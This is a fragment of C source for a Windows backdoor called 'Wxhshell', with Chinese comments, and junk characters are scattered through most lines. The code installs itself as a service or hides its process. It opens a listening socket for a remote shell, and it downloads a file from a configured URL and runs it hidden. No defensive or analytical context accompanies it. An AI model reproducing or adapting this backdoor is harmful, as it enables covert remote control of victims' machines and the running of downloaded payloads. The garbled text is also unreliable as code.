ULONG InheritedFromUniqueProcessId; KqH_?r`
} PROCESS_BASIC_INFORMATION; a1nj}1M%
S66..sa
PROCNTQSIP NtQueryInformationProcess; {~RS$ |
b\^q9fy
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s wIJmA
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %Z#s9QC
fqcFfz6?x
HANDLE hProcess; Zg#VZg1
2
PROCESS_BASIC_INFORMATION pbi; OKH4n/pq
ILQB%0!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]J%p&y+6
if(NULL == hInst ) return 0; u^!c:RfE?
ZSo#vQ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %tRQK$]c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lIlmXjL0
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^KeJ=VT
].C4RH
if (!NtQueryInformationProcess) return 0; ueM[&:g&MU
e<;^P(g`E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 68k
if(!hProcess) return 0; 2UF
,W]
}j. [h;C6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X>`5YdT~+
z:_o3W.E
CloseHandle(hProcess); /QeJ#EHn
."#M
X!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ief~*:5
if(hProcess==NULL) return 0; ]$VYzE2e
uuA
q\YZy/
HMODULE hMod; :172I1|7
char procName[255]; |Qe#[Q7
unsigned long cbNeeded; V#Px
[4_JK
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;F;"Uw
> (.V(]{3y
CloseHandle(hProcess); _FJ,, /~
Zss `##
if(strstr(procName,"services")) return 1; // 以服务启动 @@O=a
{B_pjs
return 0; // 注册表启动 dD Zds
k+!
} HaUfTQ8
ZM~kc|&
// 主模块 ~baVS-v
int StartWxhshell(LPSTR lpCmdLine) mimJ_=]DC
{ 0xe!tA
SOCKET wsl; {4@+
2)l
BOOL val=TRUE; *nPB+@f
int port=0; DD4fV`:kG
struct sockaddr_in door; !)}3[h0
Y<vsMf_U
if(wscfg.ws_autoins) Install(); D_HE!fl
ia!b0*<
port=atoi(lpCmdLine); /_`f b)f
SREe,
e\
if(port<=0) port=wscfg.ws_port; nlfu y[oX
U60jkzIRH
WSADATA data; */|Vyp-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6^oQ8unmS
g@<E0
q&`$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;0R>D g
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); krw_1Mm
door.sin_family = AF_INET; *,UD&N_)*6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); i"h '^6M1
door.sin_port = htons(port); :UyNa0$l:"
):Vzv
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @LzqQ[
closesocket(wsl); ,.cNs5[t
return 1; WP@IV;i
} a*pwVn
g@va@*|~d
if(listen(wsl,2) == INVALID_SOCKET) { 0! :1o61
closesocket(wsl); XM+o e0:[
return 1; I.M@we/bR}
} t~luBUF
Wxhshell(wsl); cNX0.7Ls
WSACleanup(); 33{(IzL0
WCg*TL}
return 0; %SwN/rna
z g@,s"`>
} qNLG- m,n<
~1NK@=7T
// 以NT服务方式启动 2
f"=f^rf
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }w#Ek=,s#o
{ b&y"[1`
DWORD status = 0; DRBRs-D
DWORD specificError = 0xfffffff; +0,{gDd+
u]B15mT?
serviceStatus.dwServiceType = SERVICE_WIN32; fVU9?^0/)9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; wz,T7L
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *q ?-M"K
serviceStatus.dwWin32ExitCode = 0; hU}!:6G%[P
serviceStatus.dwServiceSpecificExitCode = 0; 98%M`WY
serviceStatus.dwCheckPoint = 0; <h$Nh0
serviceStatus.dwWaitHint = 0; ^k'?e"[gTs
]<pnHh+2A
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6a+w/IO3OU
if (hServiceStatusHandle==0) return; $/*6tsR
Tr^Egw]
status = GetLastError(); T[z]~MJL
if (status!=NO_ERROR) ;>eD`Wh
{ Myl!tXawe8
serviceStatus.dwCurrentState = SERVICE_STOPPED; %7X<:f|N8x
serviceStatus.dwCheckPoint = 0; SG&VZY
serviceStatus.dwWaitHint = 0; y U-^w^4
serviceStatus.dwWin32ExitCode = status; 6N%fJ
serviceStatus.dwServiceSpecificExitCode = specificError; m#D+Yh/y{n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n>)'!
return; H O^3v34ZO
} V-y"@0%1
+@'{
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2\$P&L
a
serviceStatus.dwCheckPoint = 0; |M*jo<C
serviceStatus.dwWaitHint = 0; ,Zpc vK/S
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dFd^@b
} OX"^a$
vZgV/?'z
// 处理NT服务事件,比如:启动、停止 ^V
DJGBk
VOID WINAPI NTServiceHandler(DWORD fdwControl) <K~> :4c
{ 9 >t
switch(fdwControl) 9@Iz:!oqb
{ '`-W!g[
>
case SERVICE_CONTROL_STOP: M~0A-*N
serviceStatus.dwWin32ExitCode = 0; }@6/sg
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2(-J9y|
serviceStatus.dwCheckPoint = 0; ?P+n0S!
serviceStatus.dwWaitHint = 0; z/JoUje
{ @>wD`<U|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j|`6[93MG
} sHqs)@D
return; fpjy[$8
case SERVICE_CONTROL_PAUSE: ~wMdk9RQ
serviceStatus.dwCurrentState = SERVICE_PAUSED; Bs@!S?
break; 0!D,74r
case SERVICE_CONTROL_CONTINUE: A`=;yD
serviceStatus.dwCurrentState = SERVICE_RUNNING; pjC2jlwm*
break; 1]yOC)u"i
case SERVICE_CONTROL_INTERROGATE: n{>Ge,enP0
break; Qy)+YhE
}; IL:d`Kbqf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0W asE1t|
} K[wOK
Qz T>h
// 标准应用程序主函数 QT1(= wK3
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [0_JS 2KE
{ &1O!guq%
p!+7F\
// 获取操作系统版本 e&Z\hZBb
OsIsNt=GetOsVer(); h'i8o>7
GetModuleFileName(NULL,ExeFile,MAX_PATH); hK!Z~
@%4MFc0`!
// 从命令行安装 /jR]sC)xs
if(strpbrk(lpCmdLine,"iI")) Install(); pK)*{fC$`
}pE8G#O&
// 下载执行文件 hjuzVOE|W
if(wscfg.ws_downexe) { u
N%RB$G
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U=?hT&w\S
WinExec(wscfg.ws_filenam,SW_HIDE); OH.Re6Rr
} 4Xna}7
9n$0OH
/q
if(!OsIsNt) { -ff|Xxar{
// 如果时win9x,隐藏进程并且设置为注册表启动 4$~]t:n
HideProc(); <O`yM2/pS
StartWxhshell(lpCmdLine); .YvE
} |E\0Rv{H3
else |!r.p_Zt
if(StartFromService()) =1dU~B:Lm
// 以服务方式启动 ~[@Gj{6p0
StartServiceCtrlDispatcher(DispatchTable); ~R`Rj*Q2Y
else &&iZ?JteZ
// 普通方式启动 GCxtW FXH
StartWxhshell(lpCmdLine); )ca^%(25!z
tK<GU.+
return 0; 9aLS%-x!+
}